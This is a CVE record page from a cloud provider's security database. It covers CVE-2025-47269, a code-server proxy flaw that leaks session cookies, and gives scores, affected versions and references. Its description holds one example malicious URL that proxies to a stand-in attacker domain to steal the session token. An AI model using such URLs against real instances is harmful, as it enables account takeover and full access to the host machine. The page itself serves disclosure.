---
title: "CVE-2025-47269: code-server session cookie… | CubePath"
description: "code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath…"
language: en
source: https://cubepath.com/security/cve/CVE-2025-47269
---

# CVE-2025-47269: code-server session cookie… | CubePath

## Description

code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL \`https://<code-server>/proxy/test@evil.com/path\` would be proxied to \`test@evil.com/path\` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.

Official description from the CVE record, published by GitHub\_M. Copyright © 1999-2026 The MITRE Corporation. See [/security/cve/legal](https://cubepath.com/security/cve/legal) for the CVE license. [View the record on cve.org](https://www.cve.org/CVERecord?id=CVE-2025-47269)

## Key data

### CVSS 3.1 High 8.3

Score published by GitHub\_M in the CVE record.

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L

| Metric                 | Value     | What it means                                                                       |
| ---------------------- | --------- | ----------------------------------------------------------------------------------- |
| Attack vector          | Network   | The vulnerable component can be reached over a network, possibly from the Internet. |
| Attack complexity      | Low       | No special conditions are needed. The attack can be repeated at will.               |
| Privileges required    | None      | No account or privileges are needed.                                                |
| User interaction       | Required  | A user has to do something first, such as opening a file or following a link.       |
| Scope                  | Unchanged | The impact stays within the vulnerable component.                                   |
| Confidentiality impact | High      | Serious or total effect on the secrecy of data.                                     |
| Integrity impact       | High      | Serious or total effect on the trustworthiness of data.                             |
| Availability impact    | Low       | Limited effect on availability.                                                     |

CVSS is owned and managed by FIRST.Org, Inc. (FIRST) and is used by permission. Each CVSS score on this site is shown together with its vector string, as published in the CVE record by the source named next to it. Learn more at [first.org/cvss](https://www.first.org/cvss/) .

### EPSS

Exploit Prediction Scoring System by FIRST: an estimate of the probability that exploitation activity will be observed in the next 30 days.

Score

0.56284 (56.3% probability)

Percentile

99.1%

Scores of

Nov 10, 2026

Model

v2026.06.15

### CISA assessment as of May 10, 2025

Stakeholder-Specific Vulnerability Categorization (SSVC) decision points added by CISA.

Automatable

no

Technical impact

total

### Weakness (CWE)

CWE catalog version 5.0.

CWE names: Copyright © 2006-2026, The MITRE Corporation. See [/security/cve/legal](https://cubepath.com/security/cve/legal) for the CWE license.

- [CWE-441](https://cwe.mitre.org/data/definitions/441.html) Unintended Proxy or Intermediary

## Affected products

Products listed in the CVE record, as the CNA published them.

- coder code-server

  - affected: < 4.99.4

## References

Links listed in the CVE record. They lead to other sites, which CubePath does not control.

- [github.com/coder/code-server/security/advisories/GHSA-p483-…](https://github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cj)
- [github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d…](https://github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299e)
- [github.com/coder/code-server/releases/tag/v4.99.4](https://github.com/coder/code-server/releases/tag/v4.99.4)

## Timeline

1. ID reserved May 5, 2025
2. Record published May 9, 2025
3. Record last updated May 10, 2025

## Look up another CVE

## About CubePath

CubePath is a cloud provider with data centers in Europe and the United States. It offers VPS, bare metal servers and DDoS protection.

[Cloud VPS](https://cubepath.com/vps) [DDoS protection](https://cubepath.com/ddos-protection)

Data from the CVE Program (MITRE), CISA KEV and FIRST EPSS. CVSS is owned by FIRST and used by permission. Not affiliated with or endorsed by MITRE, CISA or FIRST. Data as of Nov 10, 2026, 20:04 UTC. [Sources and licenses](https://cubepath.com/security/cve/legal)